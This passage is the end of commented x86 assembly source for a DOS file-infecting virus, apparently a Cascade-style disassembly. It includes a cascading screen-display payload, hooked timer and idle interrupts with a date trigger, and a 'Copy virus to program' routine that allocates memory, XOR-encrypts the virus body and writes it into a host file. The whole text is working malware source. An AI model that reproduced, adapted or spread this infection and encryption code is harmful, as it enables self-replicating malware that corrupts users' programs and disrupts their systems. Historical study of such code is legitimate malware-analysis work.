  749.     CMP    DH,NUMROW        ; Was that the last row?
  750.     JA    DSP110            ; Branch if yes
  751.     CALL    GETCHA            ; Get character and attributes
  752.     CMP    AH,CURATT        ; Are attributes the same?
  753.     JNE    DSP110            ; Branch if not
  754.     CALL    IGNORE            ; Is character 0, 32 or 255?
  755.     JNB    DSP080            ; Branch if not
  756.     CALL    CH_SND            ; Toggle speaker drive
  757.     DEC    DH            ; Previous row
  758.     CALL    GETCHA            ; Get character and attributes
  759.     MOV    CURCHA,AL        ; Save current character
  760.     INC    DH            ; Next row
  761. DSP090:    AND    SWITCH,0FDH        ; Set off switch 2
  762.     DEC    DH            ; Previous row
  763.     MOV    AL,20H            ; Replace character with space
  764.     CALL    STOCHA            ; Store character and attributes
  765.     INC    DH            ; Next row
  766.     MOV    AL,CURCHA        ; Get current character
  767.     CALL    STOCHA            ; Store character and attributes
  768.     JCXZ    DSP100            ; Branch if end of count
  769.     CALL    DELAY            ; Delay loop
  770.     DEC    CX            ; Decrement count
  771. DSP100:    JMP    SHORT DSP070
  772.  
  773. DSP110:    TEST    SWITCH,2        ; Test switch 2
  774.     JZ    DSP120            ; Branch if off
  775.     JMP    DSP050
  776.  
  777. DSP120:    CALL    CH_SND            ; Toggle speaker drive
  778.     DEC    SI            ; Subtract from count
  779.     JZ    DSP130            ; Switch off speaker and return
  780.     JMP    DSP040
  781.  
  782.     ; Switch off speaker and return
  783.  
  784. DSP130:    IN    AL,61H            ; Get port B
  785.     AND    AL,0FCH            ; Switch off speaker
  786.     OUT    61H,AL            ; Rewrite port B+
  787.     RET
  788.  
  789.     ; Interrupt 1CH routine
  790.  
  791.     ASSUME    DS:NOTHING
  792. INT_1C:    TEST    SWITCH,9        ; No display or already active?
  793.     JNZ    I_1C40            ; Branch if either are on
  794.     OR    SWITCH,1        ; Set on Int 1CH active switch
  795.     DEC    I1CCNT            ; Subtract from Int 1CH count
  796.     JNZ    I_1C30            ; Branch if not zero
  797.     PUSH    DS
  798.     PUSH    ES
  799.     PUSH    CS            ; \ Set DS to CS
  800.     POP    DS            ; /
  801.     PUSH    CS            ; \ Set ES to CS
  802.     POP    ES            ; /
  803.     ASSUME    DS:CODE
  804.     PUSH    AX
  805.     PUSH    BX
  806.     PUSH    CX
  807.     PUSH    DX
  808.     PUSH    SI
  809.     PUSH    DI
  810.     PUSH    BP
  811.     MOV    AL,20H            ; \ Signal end of interrupt
  812.     OUT    20H,AL            ; /
  813.     MOV    AX,I1CMAX        ; Get Int 1CH random no maximum
  814.     CMP    AX,0438H        ; Is it 1080 or above
  815.     JNB    I_1C10            ; Branch if yes
  816.     MOV    AX,0438H        ; Upper limit - 1080
  817. I_1C10:    CALL    RNDNUM            ; Create random number
  818.     INC    AX            ; Add to random number
  819.     MOV    I1CCNT,AX        ; Reset Int 1CH count
  820.     MOV    I1CMAX,AX        ; Reset Int 1CH random no maximum
  821.     CALL    DISPLY            ; Cascade display routine
  822.     MOV    AX,3            ; Upper limit - 3
  823.     CALL    RNDNUM            ; Create random number
  824.     INC    AX            ; Add to random number
  825.     MUL    RANPOS            ; Multiply by num of lines to affect
  826.     JNB    I_1C20            ; Is result more than a word?
  827.     MOV    AX,-1            ; Set to maximum
  828. I_1C20:    MOV    RANPOS,AX        ; Save number of lines to affect
  829.     POP    BP
  830.     POP    DI
  831.     POP    SI
  832.     POP    DX
  833.     POP    CX
  834.     POP    BX
  835.     POP    AX
  836.     POP    ES
  837.     POP    DS
  838.     ASSUME    DS:NOTHING
  839. I_1C30:    AND    SWITCH,0FEH        ; Set off Int 1CH active switch
  840. I_1C40:    JMP    I1CBIO            ; Branch to original int 1CH
  841.  
  842.     ; Interrupt 28H routine
  843.  
  844. INT_28:    TEST    SWITCH,8        ; Test No display switch
  845.     JZ    I_2830            ; Branch if not
  846.     PUSH    AX
  847.     PUSH    CX
  848.     PUSH    DX
  849.     MOV    AH,2AH            ; Get date function
  850.     INT    21H            ; DOS service
  851.     CMP    CX,07C4H        ; Year 1988?
  852.     JB    I_2820            ; Not yet - do nothing
  853.     JA    I_2810            ; After 1988
  854.     CMP    DH,0AH            ; October?
  855.     JB    I_2820            ; Not yet - do nothing
  856. I_2810:    AND    SWITCH,0F7H        ; Set off No display switch
  857. I_2820:    POP    DX
  858.     POP    CX
  859.     POP    AX
  860. I_2830:    JMP    I28BIO            ; Branch to original int 28H
  861.  
  862.     ; Copy virus to program
  863.  
  864. CPYVIR:    PUSH    ES
  865.     PUSH    BX
  866.     MOV    AH,48H            ; Allocate memory function
  867.     MOV    BX,006BH        ; Length of virus
  868.     INT    21H            ; DOS service
  869.     POP    BX
  870.     JNB    CPY020            ; Branch if no error
  871. CPY010:    STC
  872.     POP    ES
  873.     RET
  874.  
  875. CPY020:    MOV    DB0100,1        ; Set encryption indicator
  876.     MOV    ES,AX            ; Set target segment to allocated
  877.     PUSH    CS            ; \ Set DS to CS
  878.     POP    DS            ; /
  879.     ASSUME    DS:CODE
  880.     XOR    DI,DI            ; Start of allocated
  881.     MOV    SI,OFFSET DB0100    ; Start of virus
  882.     MOV    CX,VIRLEN        ; Length of virus
  883.     CLD
  884.     REPZ    MOVSB            ; Copy virus
  885.     MOV    DI,0023H        ; Start of area to encrypt
  886.     MOV    SI,OFFSET BP0030    ; Address of area
  887.     ADD    SI,F_SIZ1        ; Length of target file
  888.     MOV    CX,OFFSET ENDADR-BP0030    ; Length to encrypt
  889. CPY030:    XOR    ES:[DI],SI        ; \ Encrypt
  890.     XOR    ES:[DI],CX        ; /
  891.     INC    DI            ; \ Next address
  892.     INC    SI            ; /
  893.     LOOP    CPY030            ; Repeat for all area
  894.     MOV    DS,AX            ; Allocated area segment
  895.     MOV    AH,40H            ; Write handle function
  896.     XOR    DX,DX            ; From start
  897.     MOV    CX,VIRLEN        ; Length of virus
  898.     INT    21H            ; DOS service
  899.     PUSHF
  900.     PUSH    AX
  901.     MOV    AH,49H            ; Free allocated memory function
  902.     INT    21H            ; DOS service
  903.     POP    AX
  904.     POPF
  905.     PUSH    CS            ; \ Set DS to CS
  906.     POP    DS            ; /
  907.     JB    CPY010            ; Branch if error
  908.     CMP    AX,CX            ; Correct length written?
  909.     JNE    CPY010            ; Branch if error
  910.     POP    ES
  911.     CLC
  912. CPY040:    RET
  913.  
  914. ENDADR    EQU    $
  915.  
  916. CODE    ENDS
  917.  
  918.     END    START
  919.